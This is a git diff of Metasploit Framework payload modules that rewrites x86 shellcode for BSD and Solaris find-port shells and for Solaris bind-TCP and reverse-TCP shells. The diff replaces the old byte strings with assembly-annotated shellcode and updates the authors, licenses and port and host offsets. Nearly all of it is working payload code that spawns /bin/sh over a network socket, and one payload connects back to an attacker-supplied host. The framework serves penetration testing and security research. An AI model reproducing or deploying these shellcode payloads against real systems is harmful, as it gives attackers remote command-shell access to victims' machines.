diff --git a/modules/payloads/singles/bsd/x86/shell_find_port.rb b/modules/payloads/singles/bsd/x86/shell_find_port.rb index 92db93d4ac..c231eb4bda 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_port.rb @@ -1,14 +1,4 @@ -## -# $Id:$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/projects/Framework/ -## - +# $Id$ require 'msf/core' require 'msf/core/handler/find_port' @@ -29,7 +19,7 @@ module ShellFindPort 'Name' => 'BSD Command Shell, Find Port Inline', 'Version' => '$Revision$', 'Description' => 'Spawn a shell on an established connection', - 'Author' => 'vlad902', + 'Author' => 'Ramon de Carvalho Valle ', 'License' => MSF_LICENSE, 'Platform' => 'bsd', 'Arch' => ARCH_X86, @@ -39,14 +29,42 @@ module ShellFindPort { 'Offsets' => { - 'CPORT' => [ 24, 'n' ], + 'CPORT' => [ 25, 'n' ], }, 'Payload' => - "\x31\xff\x57\x89\xe5\x47\x89\xec\x6a\x10\x54\x55" + - "\x57\x6a\x1f\x58\x6a\x02\xcd\x80\x66\x81\x7d\x02" + - "\x11\x5c\x75\xe9\x59\x51\x57\x6a\x5a\x58\x51\xcd" + - "\x80\x49\x79\xf5\x68\x2f\x2f\x73\x68\x68\x2f\x62" + - "\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80" + "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x89\xe7" +# movl %esp,%edi # + "\x6a\x10" +# pushl $0x10 # + "\x54" +# pushl %esp # + "\x57" +# pushl %edi # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x58" +# popl %eax # + "\x58" +# popl %eax # + "\x40" +# incl %eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x6a\x1f" +# pushl $0x1f # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\x66\x81\x7f\x02\x04\xd2"+# cmpw $0xd204,0x02(%edi) # + "\x75\xee" +# jne # + "\x50" +# pushl %eax # + "\x6a\x5a" +# pushl $0x5a # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\xff\x4f\xf0" +# decl -0x10(%edi) # + "\x79\xf6" +# jns # + "\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f # + "\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f # + "\x89\xe3" +# movl %esp,%ebx # + "\x50" +# pushl %eax # + "\x54" +# pushl %esp # + "\x53" +# pushl %ebx # + "\x50" +# pushl %eax # + "\xb0\x3b" +# movb $0x3b,%al # + "\xcd\x80" # int $0x80 # } )) end diff --git a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb index 50ca522edc..64d19ce100 100644 --- a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb @@ -1,14 +1,4 @@ -## -# $Id:$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/projects/Framework/ -## - +# $Id$ require 'msf/core' require 'msf/core/handler/bind_tcp' @@ -29,8 +19,8 @@ module ShellBindTcp 'Name' => 'Solaris Command Shell, Bind TCP Inline', 'Version' => '$Revision$', 'Description' => 'Listen for a connection and spawn a command shell', - 'Author' => 'bighawk ', - 'License' => BSD_LICENSE, + 'Author' => 'Ramon de Carvalho Valle ', + 'License' => MSF_LICENSE, 'Platform' => 'solaris', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::BindTcp, @@ -39,15 +29,58 @@ module ShellBindTcp { 'Offsets' => { - 'LPORT' => [ 33, 'n' ], + 'LPORT' => [ 20, 'n' ], }, 'Payload' => - "\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe5\x31" + - "\xc9\x51\x41\x41\x51\x51\xb0\xe6\xff\xd5\x31\xd2\x89\xc7\x52\x66" + - "\x68\x27\x10\x66\x51\x89\xe6\x6a\x10\x56\x57\xb0\xe8\xff\xd5\xb0" + - "\xe9\xff\xd5\x50\x50\x57\xb0\xea\xff\xd5\x31\xd2\xb2\x09\x51\x52" + - "\x50\xb0\x3e\xff\xd5\x49\x79\xf2\x50\x68\x2f\x2f\x73\x68\x68\x2f" + - "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b\xff\xd5" + "\x68\xff\xd8\xff\x3c" +# pushl $0x3cffd8ff # + "\x6a\x65" +# pushl $0x65 # + "\x89\xe6" +# movl %esp,%esi # + "\xf7\x56\x04" +# notl 0x04(%esi) # + "\xf6\x16" +# notb (%esi) # + "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x68\xff\x02\x04\xd2" +# pushl $0xd20402ff # + "\x89\xe7" +# movl %esp,%edi # + "\x6a\x02" +# pushl $0x02 # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x6a\x02" +# pushl $0x02 # + "\x6a\x02" +# pushl $0x02 # + "\xb0\xe6" +# movb $0xe6,%al # + "\xff\xd6" +# call *%esi # + "\x6a\x10" +# pushl $0x10 # + "\x57" +# pushl %edi # + "\x50" +# pushl %eax # + "\x31\xc0" +# xorl %eax,%eax # + "\xb0\xe8" +# movb $0xe8,%al # + "\xff\xd6" +# call *%esi # + "\x5b" +# popl %ebx # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x53" +# pushl %ebx # + "\xb0\xe9" +# movb $0xe9,%al # + "\xff\xd6" +# call *%esi # + "\xb0\xea" +# movb $0xea,%al # + "\xff\xd6" +# call *%esi # + "\x6a\x09" +# pushl $0x09 # + "\x50" +# pushl %eax # + "\x6a\x3e" +# pushl $0x3e # + "\x58" +# popl %eax # + "\xff\xd6" +# call *%esi # + "\xff\x4f\xd8" +# decl -0x28(%edi) # + "\x79\xf6" +# jns # + "\x50" +# pushl %eax # + "\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f # + "\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f # + "\x89\xe3" +# movl %esp,%ebx # + "\x50" +# pushl %eax # + "\x53" +# pushl %ebx # + "\x89\xe1" +# movl %esp,%ecx # + "\x50" +# pushl %eax # + "\x51" +# pushl %ecx # + "\x53" +# pushl %ebx # + "\xb0\x3b" +# movb $0x3b,%al # + "\xff\xd6" # call *%esi # })) end diff --git a/modules/payloads/singles/solaris/x86/shell_find_port.rb b/modules/payloads/singles/solaris/x86/shell_find_port.rb index cdab702745..9456bde861 100644 --- a/modules/payloads/singles/solaris/x86/shell_find_port.rb +++ b/modules/payloads/singles/solaris/x86/shell_find_port.rb @@ -1,14 +1,4 @@ -## -# $Id:$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/projects/Framework/ -## - +# $Id$ require 'msf/core' require 'msf/core/handler/find_port' @@ -29,8 +19,8 @@ module ShellFindPort 'Name' => 'Solaris Command Shell, Find Port Inline', 'Version' => '$Revision$', 'Description' => 'Spawn a shell on an established connection', - 'Author' => 'LSD ', - 'License' => BSD_LICENSE, + 'Author' => 'Ramon de Carvalho Valle ', + 'License' => MSF_LICENSE, 'Platform' => 'solaris', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::FindPort, @@ -39,19 +29,55 @@ module ShellFindPort { 'Offsets' => { - 'CPORT' => [ 39, 'n' ], + 'CPORT' => [ 43, 'n' ], }, 'Payload' => - "\x56\x5f\x83\xef\x7c\x57\x8d\x4f\x10\xb0\x91\xab\xab\x91\xab\x95" + - "\xb5\x54\x51\x66\xb9\x01\x01\x51\x33\xc0\xb0\x36\xff\xd6\x59\x33" + - "\xdb\x3b\xc3\x75\x0a\x66\xbb\x00\x00\x66\x39\x5d\x02\x74\x02\xe2" + - "\xe6\x6a\x09\x51\x91\xb1\x03\x49\x89\x4c\x24\x08\x41\xb0\x3e\xff" + - "\xd6\xe2\xf4\x33\xc0\x50\xb0\x17\xff\xd6\x68\x62\x2e\x2e\x2e\x89" + - "\xe7\x33\xc0\x88\x47\x03\x57\xb0\x50\xff\xd6\x57\xb0\x3d\xff\xd6" + - "\x47\x33\xc9\xb1\xff\x57\xb0\x0c\xff\xd6\xe2\xfa\x47\x57\xb0\x3d" + - "\xff\xd6\xeb\x12\x33\xd2\x58\x8d\x78\x14\x57\x50\xab\x92\xab\x88" + - "\x42\x08\xb0\x0b\xff\xd6\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f" + - "\x6b\x73\x68" + "\x31\xdb" +# xorl %ebx,%ebx # + "\xf7\xe3" +# mull %ebx # + "\x53" +# pushl %ebx # + "\x89\xe7" +# movl %esp,%edi # + "\x68\xff\xd8\xff\x3c" +# pushl $0x3cffd8ff # + "\x6a\x65" +# pushl $0x65 # + "\x89\xe6" +# movl %esp,%esi # + "\xf7\x56\x04" +# notl 0x04(%esi) # + "\xf6\x16" +# notb (%esi) # + "\x57" +# pushl %edi # + "\xb3\x91" +# movb $0x91,%bl # + "\x53" +# pushl %ebx # + "\x53" +# pushl %ebx # + "\x54" +# pushl %esp # + "\xb7\x54" +# movb $0x54,%bh # + "\x53" +# pushl %ebx # + "\x50" +# pushl %eax # + "\x58" +# popl %eax # + "\x40" +# incl %eax # + "\x50" +# pushl %eax # + "\x6a\x36" +# pushl $0x36 # + "\x58" +# popl %eax # + "\xff\xd6" +# call *%esi # + "\x66\x81\x7f\x02\x04\xd2"+# cmpw $0xd204,0x02(%edi) # + "\x75\xf0" +# jne # + "\x58" +# popl %eax # + "\x50" +# pushl %eax # + "\x6a\x09" +# pushl $0x09 # + "\x50" +# pushl %eax # + "\x6a\x3e" +# pushl $0x3e # + "\x58" +# popl %eax # + "\xff\xd6" +# call *%esi # + "\xff\x4f\xe0" +# decl -0x20(%edi) # + "\x79\xf6" +# jns # + "\x50" +# pushl %eax # + "\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f # + "\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f # + "\x89\xe3" +# movl %esp,%ebx # + "\x50" +# pushl %eax # + "\x53" +# pushl %ebx # + "\x89\xe1" +# movl %esp,%ecx # + "\x50" +# pushl %eax # + "\x51" +# pushl %ecx # + "\x53" +# pushl %ebx # + "\xb0\x3b" +# movb $0x3b,%al # + "\xff\xd6" # call *%esi # } )) end diff --git a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb index ed9d68873c..86158dd851 100644 --- a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb @@ -1,14 +1,4 @@ -## -# $Id:$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/projects/Framework/ -## - +# $Id$ require 'msf/core' require 'msf/core/handler/reverse_tcp' @@ -29,8 +19,8 @@ module ShellReverseTcp 'Name' => 'Solaris Command Shell, Reverse TCP Inline', 'Version' => '$Revision$', 'Description' => 'Connect back to attacker and spawn a command shell', - 'Author' => 'bighawk ', - 'License' => BSD_LICENSE, + 'Author' => 'Ramon de Carvalho Valle ', + 'License' => MSF_LICENSE, 'Platform' => 'solaris', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, @@ -39,16 +29,54 @@ module ShellReverseTcp { 'Offsets' => { - 'LHOST' => [ 32, 'ADDR' ], - 'LPORT' => [ 38, 'n' ], + 'LHOST' => [ 15, 'ADDR' ], + 'LPORT' => [ 21, 'n' ], }, 'Payload' => - "\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe5\x31" + - "\xc9\x51\x41\x41\x51\x51\xb0\xe6\xff\xd5\x31\xd2\x89\xc7\x68\x93" + - "\x93\x93\x93\x66\x68\x93\x93\x66\x51\x89\xe6\x6a\x10\x56\x57\xb0" + - "\xeb\xff\xd5\x31\xd2\xb2\x09\x51\x52\x57\xb0\x3e\xff\xd5\x49\x79" + - "\xf2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53" + - "\x89\xe2\x50\x52\x53\xb0\x3b\xff\xd5" + "\x68\xff\xd8\xff\x3c" +# pushl $0x3cffd8ff # + "\x6a\x65" +# pushl $0x65 # + "\x89\xe6" +# movl %esp,%esi # + "\xf7\x56\x04" +# notl 0x04(%esi) # + "\xf6\x16" +# notb (%esi) # + "\x68\x7f\x01\x01\x01" +# pushl $0x0101017f # + "\x66\x68\x04\xd2" +# pushw $0xd204 # + "\x66\x6a\x02" +# pushw $0x02 # + "\x89\xe7" +# movl %esp,%edi # + "\x6a\x02" +# pushl $0x02 # + "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x6a\x02" +# pushl $0x02 # + "\x6a\x02" +# pushl $0x02 # + "\xb0\xe6" +# movb $0xe6,%al # + "\xff\xd6" +# call *%esi # + "\x6a\x10" +# pushl $0x10 # + "\x57" +# pushl %edi # + "\x50" +# pushl %eax # + "\x31\xc0" +# xorl %eax,%eax # + "\xb0\xeb" +# movb $0xeb,%al # + "\xff\xd6" +# call *%esi # + "\x5b" +# popl %ebx # + "\x53" +# pushl %ebx # + "\x6a\x09" +# pushl $0x09 # + "\x53" +# pushl %ebx # + "\x6a\x3e" +# pushl $0x3e # + "\x58" +# popl %eax # + "\xff\xd6" +# call *%esi # + "\xff\x4f\xe0" +# decl -0x20(%edi) # + "\x79\xf6" +# jns # + "\x50" +# pushl %eax # + "\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f # + "\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f # + "\x89\xe3" +# movl %esp,%ebx # + "\x50" +# pushl %eax # + "\x53" +# pushl %ebx # + "\x89\xe1" +# movl %esp,%ecx # + "\x50" +# pushl %eax # + "\x51" +# pushl %ecx # + "\x53" +# pushl %ebx # + "\xb0\x3b" +# movb $0x3b,%al # + "\xff\xd6" # call *%esi # } )) end